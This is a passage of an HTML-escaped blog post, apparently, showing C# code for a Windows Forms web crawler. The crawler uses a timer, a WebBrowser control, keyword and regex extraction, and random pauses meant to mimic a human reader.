&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;string&amp;gt; keywords = new List&amp;lt;string&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;string&amp;gt; regularExpression = new List&amp;lt;string&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;NodeResource&amp;gt; listNodes = new List&amp;lt;NodeResource&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int deepNodeLimit = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Navigation()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configuration c = new Configuration();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.deepNodeLimit = c.deepBrowsing;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
class RegExResult store result of regular expressions extracted from uri data &lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;public class RegExResult&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string regExtext = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;string&amp;gt; matchList = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public RegExResult()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
How it works :&lt;br /&gt;
here codebehind from a windows form &lt;br /&gt;
for first is called Load method when form is loaded ,&lt;br /&gt;
it create a timer but disabled ,when button is clicked on interface of windows form&lt;br /&gt;
navigation class is instanced and timer property "enabled" is setted to true value, timer run , when it elapses&lt;br /&gt;
for first enable value of timer is setted to "false" , after setted navigate methods of webbrowser control is called,when downloadcompleted event from webbrrowser control is elapsed noderesource object have an embedded htmldocument ,all works with enabling disablign timer,I have choosed this solution for emulating a human user in this software and for this it hava e DoSleep() function ,it stop current thread for a pause ,pause is short or long and values are random from a min and a max ,&lt;br /&gt;
iinto Configuration class you have a deep value it is max deep of exploration ,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;public partial class Form1 : Form&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;int&amp;gt; calculatedSleepInterval = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;HtmlElement&amp;gt; links = new List&amp;lt;HtmlElement&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;HtmlDocument&amp;gt; listHtmlDocs = new List&amp;lt;HtmlDocument&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Navigation nav = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.Timers.Timer timer = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NodeResource currNodeResource = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Form1()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; InitializeComponent();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void button6_Click(object sender, EventArgs e)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //add here result speech processor...&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //add &amp;lt;br&amp;gt; and "." parse consideration introducing pauses during reading process&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void Form1_Load(object sender, EventArgs e)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TimerCreation();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //EmailManager email= new EmailManager();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CalculateSequencePause();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Util u = new Util();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void TimerCreation()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timer = new System.Timers.Timer();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timer.AutoReset = true;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timer.Enabled = false;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timer.Interval = 2000;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; timer.Elapsed += new ElapsedEventHandler(timer_Elapsed);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;summary&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// timer do all works ,&lt;/span&gt;&lt;span style="color: orange;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;param name="sender"&amp;gt;&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;param name="e"&amp;gt;&amp;lt;/param&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; void timer_Elapsed(object sender, ElapsedEventArgs e)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //go to first unknown uri&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int counted = this.nav.listNodes.Count;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int counter = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bool found=false;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //found unvisited resource&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (counter &amp;lt; counted &amp;amp;&amp;amp; !found)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NodeResource nr = this.nav.listNodes[counter];&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!nr.visited)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //here is unique point for calling Navigate() method&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.currNodeResource = nr;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //stop timer&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.timer.Enabled = false;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; found = true;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.webBrowser1.Navigate(new Uri(nr.uri));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; counter++;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //if found ==false exit()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void CalculateSequencePause()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Util u = new Util();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;int&amp;gt; sequencePause = u.CreatePauseSequence();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.calculatedSleepInterval = sequencePause;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WebBrowser w = (WebBrowser)sender;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //set currNode&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; currNodeResource.uri = w.Url.ToString();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; currNodeResource.currDocument = w.Document;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; currNodeResource.visited = true;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; currNodeResource.strCurrDocument = w.DocumentText;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //replace currNode in list nodes&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int counted=this.nav.listNodes.Count;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int counter=0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bool found = false;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(counter &amp;lt; counted &amp;amp;&amp;amp; !found) {&lt;/span&gt;&lt;br /&gt;
